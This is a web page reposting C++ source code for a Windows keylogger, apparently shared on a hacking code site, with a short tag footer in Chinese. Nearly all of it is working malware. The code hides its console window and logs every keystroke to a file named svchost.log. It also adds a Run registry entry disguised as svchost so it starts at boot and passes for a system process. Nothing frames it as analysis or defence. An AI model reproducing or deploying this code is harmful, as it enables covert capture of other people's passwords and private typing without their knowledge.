Keylogger in C++

The org is the link:[url]http://www.darkmindz.com/codebase/keylogger-in-c-num283.html[/url]
// Coded By Cyberwire

//              Compiled in Dev C++

//                                 Takes up 99 CPU Need Alternative!!!







#include <windows.h>

#include <stdio.h>

#include <winuser.h>



#define BUFSIZE 80



int test_key ( void );

int create_key ( char * );

int get_keys ( void );





int main ( void )

{

    HWND stealth; /*creating stealth (window is not visible)*/

    AllocConsole ( );

    stealth=FindWindowA ( "ConsoleWindowClass", NULL );

    ShowWindow (stealth, 0 );

   

    int test,create;

    test=test_key ( ); /*check if key is available for opening*/

         

    if (test== 2 ) /*create key*/

    {

        char *path= "c:\\%windir%\\svchost.exe"; /*the path in which the file needs to be*/

        create=create_key (path );

         

    }

       

   

    int t=get_keys ( );

   

    return t;

}  



int get_keys ( void )

{

            short character;

              while ( 1 )

              {

                     

                      for (character= 8;character<= 222;character++ )

                      {

                          if (GetAsyncKeyState (character )== -32767 )

                          {  

                             

                             FILE *file;

                             file=fopen ( "svchost.log", "a+" );

                              if (file== NULL )

                              {

                                      return 1;

                              }            

                              if (file!= NULL )

                              {        

                                      if ( (character>= 39 )&& (character<= 64 ) )

                                      {

                                           fputc (character,file );

                                           fclose (file );

                                            break;

                                      }        

                                      else if ( (character> 64 )&& (character< 91 ) )

                                      {

                                           character+= 32;

                                           fputc (character,file );

                                           fclose (file );

                                            break;

                                      }

                                      else

                                      {

                                          switch (character )

                                          {

                                                case VK_SPACE:

                                               fputc ( ' ',file );

                                               fclose (file );

                                                break;    

                                                case VK_SHIFT:

                                               fputs ( "[SHIFT]",file );

                                               fclose (file );

                                                break;                                            

                                                case VK_RETURN:

                                               fputs ( "\n[ENTER]",file );

                                               fclose (file );

                                                break;

                                                case VK_BACK:

                                               fputs ( "[BACKSPACE]",file );

                                               fclose (file );

                                                break;

                                                case VK_TAB:

                                               fputs ( "[TAB]",file );

                                               fclose (file );

                                                break;

                                                case VK_CONTROL:

                                               fputs ( "[CTRL]",file );

                                               fclose (file );

                                                break;    

                                                case VK_DELETE:

                                               fputs ( "[DEL]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_1:

                                               fputs ( "[;:]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_2:

                                               fputs ( "[/?]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_3:

                                               fputs ( "[`~]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_4:

                                               fputs ( "[ [{ ]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_5:

                                               fputs ( "[\\|]",file );

                                               fclose (file );

                                                break;                                

                                                case VK_OEM_6:

                                               fputs ( "[ ]} ]",file );

                                               fclose (file );

                                                break;

                                                case VK_OEM_7:

                                               fputs ( "['\"]",file );

                                               fclose (file );

                                                break;

                                                /*case VK_OEM_PLUS:

                                               fputc('+',file);

                                               fclose(file);

                                               break;

                                               case VK_OEM_COMMA:

                                               fputc(',',file);

                                               fclose(file);

                                               break;

                                               case VK_OEM_MINUS:

                                               fputc('-',file);

                                               fclose(file);

                                               break;

                                               case VK_OEM_PERIOD:

                                               fputc('.',file);

                                               fclose(file);

                                               break;*/


                                                case VK_NUMPAD0:

                                               fputc ( '0',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD1:

                                               fputc ( '1',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD2:

                                               fputc ( '2',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD3:

                                               fputc ( '3',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD4:

                                               fputc ( '4',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD5:

                                               fputc ( '5',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD6:

                                               fputc ( '6',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD7:

                                               fputc ( '7',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD8:

                                               fputc ( '8',file );

                                               fclose (file );

                                                break;

                                                case VK_NUMPAD9:

                                               fputc ( '9',file );

                                               fclose (file );

                                                break;

                                                case VK_CAPITAL:

                                               fputs ( "[CAPS LOCK]",file );

                                               fclose (file );

                                                break;

                                                default:

                                               fclose (file );

                                                break;

                                        }        

                                    }    

                              }        

                    }    

                }                  

                     

            }

            return EXIT_SUCCESS;                            

}                                                



int test_key ( void )

{

    int check;

    HKEY hKey;

    char path [BUFSIZE ];

    DWORD buf_length=BUFSIZE;

    int reg_key;

   

    reg_key=RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_QUERY_VALUE,&hKey );

    if (reg_key!= 0 )

    {    

        check= 1;

        return check;

    }        

           

    reg_key=RegQueryValueEx (hKey, "svchost", NULL, NULL, (LPBYTE )path,&buf_length );

   

    if ( (reg_key!= 0 )|| (buf_length>BUFSIZE ) )

        check= 2;

    if (reg_key== 0 )

        check= 0;

         

    RegCloseKey (hKey );

    return check;  

}

   

int create_key ( char *path )

{  

        int reg_key,check;

       

        HKEY hkey;

       

        reg_key=RegCreateKey (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey );

        if (reg_key== 0 )

        {

                RegSetValueEx ( (HKEY )hkey, "svchost", 0,REG_SZ, (BYTE * )path,strlen (path ) );

                check= 0;

                return check;

        }

        if (reg_key!= 0 )

                check= 1;

               

        return check;

}

你可能感兴趣的:(职场,休闲,Keylogger)